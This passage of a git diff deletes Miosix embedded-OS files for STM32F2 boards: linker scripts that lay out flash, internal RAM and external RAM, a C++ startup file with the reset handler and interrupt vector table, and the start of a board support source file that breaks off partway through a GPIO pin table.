2MB xram - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stack for interrupt handling, sections .data and .bss in the internal ram - * - heap and stack of threads in the external ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into external RAM (2MB) */ -_end = 0x64000000; -_heap_end = 0x64200000; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram_processes.ld b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram_processes.ld deleted file mode 100644 index 76fa2f0e5..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram_processes.ld +++ /dev/null @@ -1,151 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) + 2MB xram - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in Flash - * - process pool in Flash - * - stack for interrupt handling, sections .data and .bss in the internal RAM - * - kernel pool in internal RAM - * - process pool in external RAM - */ - -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the kernel heap into internal RAM */ -_heap_end = 0x20000000+128*1024; - -/* Mapping the process pool into external RAM */ -_process_pool_start = 0x64000000; -_process_pool_end = 0x64200000; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/core/stage_1_boot.cpp deleted file mode 100644 index 98b941e13..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/core/stage_1_boot.cpp +++ /dev/null @@ -1,410 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f2 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - //The memcpy is usually enclosed in an #ifndef __ENABLE_XRAM, in other - //boards but in this case it is not, since the *_code_in_xram.ld linker - //script puts code in XRAM, but data in the internal one, so there's still - //the need to copy it in its final place - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x60000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x60000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x60000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 14d8a4c79..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#define STM32F207xx -#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/bsp.cpp deleted file mode 100644 index 13954dc47..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,187 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN; - RCC_SYNC(); - //Port config (H=high, L=low, PU=pullup, PD=pulldown) - // | PORTA | PORTB | PORTC | PORTD | PORTE | PORTF | PORTG | - //--+---------+---------+---------+---------+---------+---------+---------+ - // 0| IN PD | IN PD | OUT L | AF12 | AF12 | AF12 | AF12 | - // 1| IN PD | IN PD | IN | AF12 | AF12 | AF12 | AF12 | - // 2| IN PD | IN | IN | IN PD | IN PD | AF12 | AF12 | - // 3| IN PD | AF5 | IN PD | IN PD | IN PD | AF12 | AF12 | - // 4| AF13 | AF5 | IN PD | AF12 | AF13 | AF12 | AF12 | - // 5| IN PD | AF5 | IN PD | AF12 | AF13 | AF12 | AF12 | - // 6| AF13 | AF13 | AF13 | IN | AF13 | IN PD | IN PD | - // 7| IN PD | AF13 | AF13 | AF12 | AF12 | IN PD | IN PD | - // 8| AF0 | OUT H | AF13 | AF12 | AF12 | IN PD | IN PD | - // 9| AF7 | IN PD | AF13 | AF12 | AF12 | IN PD | IN PD | - //10| AF7 | IN PD | AF6 | AF12 | AF12 | IN PD | IN PD | - //11| IN PD | IN PD | AF6 | AF12 | AF12 | IN PD | IN PD | - //12| IN PD | IN PD | AF6 | AF12 | AF12 | AF12 | IN PD | - //13| AF0 PU | IN PD | IN | AF12 | AF12 | AF12 | IN PD | - //14| AF0 PD | IN PD | IN PD | AF12 | AF12 | AF12 | IN PD | - //15| AF6 PU | IN PD | IN PD | AF12 | 